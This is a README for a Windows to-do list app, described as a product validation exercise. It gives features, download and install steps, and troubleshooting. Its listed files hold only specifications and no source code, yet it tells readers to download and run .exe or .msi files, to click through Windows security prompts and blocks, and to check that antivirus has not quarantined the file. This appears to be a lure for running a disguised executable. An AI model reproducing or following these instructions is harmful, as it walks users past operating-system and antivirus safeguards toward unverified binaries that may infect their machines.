ei-ToDoListSenacLesson is a simple To Do List app for Windows. It helps you add tasks, mark them as done, and keep your day in order.
This project was built as a product validation exercise. It follows a real work flow with planning, version control, and a clear task structure.
- Add new tasks
- Mark tasks as complete
- Remove tasks you no longer need
- Keep a clear view of pending work
- Use a simple screen with no extra steps
- Track daily tasks in one place
Before you start, make sure your PC meets these basic needs:
- Windows 10 or Windows 11
- A standard mouse and keyboard
- Internet access to open the download page
- Enough free disk space to save the app files
- Permission to run files on your PC
Use this link to visit the download page and get the app files:
Visit the GitHub download page
Follow these steps on your Windows computer:
- Open the download page in your browser.
- Download the app files to your computer.
- If the file comes in a ZIP folder, right-click it and choose Extract All.
- Open the extracted folder.
- Look for the main app file, such as
.exe,.msi, or another Windows app file. - Double-click the app file to open it.
- If Windows shows a security prompt, choose the option to run the file.
- Wait for the app window to open.
After you open the app, you can use it like this:
- Type a task in the input field.
- Click the button to add the task.
- Click a task to mark it as done.
- Remove tasks you do not need anymore.
- Keep adding tasks as your list changes during the day.
The project plan and UI details are stored in the specification folder.
The UI file explains how the app should look and behave.
- File:
specification/ui-specification.md - Covers layout, components, styles, states, and interactions
The development file explains how the work is organized in stages.
- File:
specification/development.md - Covers phase planning and task order
A simple view of the main project files:
ei-ToDoListSenacLesson/
├─ specification/
│ ├─ ui-specification.md
│ └─ development.md
└─ README.md
This app works well for:
- Daily task lists
- Personal reminders
- Study planning
- Simple work tracking
- Small project notes
If the app does not open right away:
- Check that the file finished downloading.
- Make sure you extracted the ZIP file if needed.
- Try opening the file again with a double-click.
- If Windows blocks the file, use the run option in the prompt.
- Confirm that your antivirus did not move the file.
Depending on the release, you may see one of these file types:
.exe.msi.zip
Use the file that opens the app on Windows.
This repository supports early product testing for a task manager app. It is meant to test a simple idea: people want a fast and easy way to handle tasks.
The project uses a clear structure so the team can plan, build, and review the product step by step.